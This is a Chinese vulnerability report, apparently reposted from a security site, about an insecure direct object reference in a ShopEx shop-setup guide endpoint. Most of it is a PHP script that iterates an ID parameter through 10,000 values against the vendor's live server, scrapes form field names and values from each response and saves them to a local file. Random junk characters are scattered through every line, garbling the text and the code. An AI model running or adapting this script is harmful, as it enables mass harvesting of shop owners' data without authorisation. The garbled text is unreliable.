|
简要描述:
; |5 M8 [* T( C! n; d4 wShopEx某接口缺陷,可遍历所有网站0 X" U/ a. M- z$ H5 F; }
详细说明:
/ Q# E4 R, |2 ~. D. D4 q问题出现在shopex 网店使用向导页面
# u& u+ C* |! k/ L4 O$ J/ O
( o# `# F% j5 V) B9 ?, v; \3 r8 R! O# \
4 y2 k$ j/ b( |1 ^http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=! K9 T; R; n' a, v0 p
1 |4 _& @6 N' ~+ Z2 G# Q0 F
k3 k$ j% p( f! }$ b+ `$ z' O& i6 |) v, ~- {* b
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}9 U6 n' A5 Q) Y8 p
8 R3 @$ l: N2 g8 n2 u. Q) l1 J7 ~* A2 X# X, s4 u
/ T* L; l# r( M$ T$ _
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 6 |/ x; n9 _+ l+ D& m
% S2 q3 |, h+ ?) L0 }" Y+ c
, d- { N2 y# d, [, y
% W6 F" }! ?, m r<?php
2 k0 v1 k* r& Z+ @, H" n$ V+ E5 a2 Q/ M
for ($i=1; $i < 10000; $i++) { //遍历
2 o/ \/ H, ?$ h3 r& o, f' F1 D b- w* Y4 s& e% }
ShowshopExD($i);
* r9 x& q. M! a% v9 F T/ K0 Z+ F
}
3 Q8 P) C. u0 \. `- @5 r# \
# p/ q! i! X0 A# k+ E function ShowshopExD($cid) {! {1 i o h. S
+ }" w1 n$ B4 J2 }' q# o( [, O) }7 h
$url='http://guide.ecos.shopex.cn/step2.php';
. N: T' {6 v c6 S( j& N
. U$ c# @: e# |. K3 F $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% T$ B3 U8 [+ I, O0 |
7 a, [7 X2 s" r9 u7 `7 d $url = $url.'?refer='.$refer;
0 R8 j: L! S( _6 C% R* W, a+ p" {, p( @; N. D" d
$ch = curl_init($url);2 j3 S& O0 D: w/ F/ H8 w9 p3 D
4 y9 e. J& u2 f2 p7 \9 E( Q
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
1 d" _3 d% F' P, m1 K n6 z
9 ~! Y8 w" A% ~& \- H7 M2 y7 V; |! b curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
$ M$ A0 n( G# I- }% }3 T7 }3 O/ U+ f
$result = curl_exec($ch);5 C, @. ]7 P% |/ R% O8 T, d' ]
2 D3 ?2 W) T; a; |' e r s4 o% [ $result = mb_convert_encoding($result, "gb2312", "UTF-8");
: r; w/ ] J" K0 }; k% ]" R" d& h& G) y! |
if(strpos($result,$refer)). G2 v: {* ~; r0 i
- R( v N$ Q8 Y4 D: L1 Y
{( A% l; B0 _: s; z
7 w& T1 p% M0 w% @ $fp = fopen("c:/shopEx.txt",'ab'); //保存文件& S: p. I" V, \8 f
: f2 Q' g. m6 n* t+ X% D! f
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);$ r! d0 Q; c" D. _1 t
. L o ~+ U) J& ~
foreach ($value[1] as $key) {, K8 W% r+ o6 a: f1 j! d1 H
' A0 u: m/ N7 K$ L/ `- s preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
6 h" P3 z" i4 b) Y# n. u- o* _2 T% O
echo $res[1][0].':'.$res[3][0]."\r\n";
5 Z- }( h3 c" b0 J
' r+ b$ J' T9 B; x $col =$res[1][0].':'.$res[3][0]."\r\n"; / B- ^' ~) O3 A o) R: j% M
; q& L1 V) @& j4 m fwrite($fp, $col, strlen($col));
1 }/ j9 O6 G% r
1 m- B. I2 r: O) R1 P }
, y: h; W; n* x r1 ~
3 i; K' ?1 S: Y( ? D C: b echo '--------------------------------'."\r\n";
# n! ~ O3 N# v1 R' @8 B3 ?/ f" e! c/ A
6 X% Y) w( ?/ s fclose($fp);
$ X) \* T9 e+ ], H
3 d: a8 W$ \. K) Q8 p }
$ w3 n& B- A3 F# W" l4 x6 o( B+ ]) }7 K; o/ s; Z# j8 p" k' h
flush();
) I8 O1 i+ A p& l R2 w$ }, `9 w: j& \
curl_close($ch);
9 z( D. ?2 s( G( E$ T/ x) O& J& K
5 \' F; k5 P0 W2 U& }/ u- L }
6 c! C* D" |" ^. T0 |" n0 P3 F f1 T% O) R; e+ B
?>
& {# k# Q" \/ T4 f漏洞证明:1 m% y# J& K1 V6 t/ ?4 }( z% n: b4 W
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
5 c5 n: G1 C& t' q6 w+ e3 R' yrefer换成其他加密方式
7 A, t3 {/ F$ X6 w |
|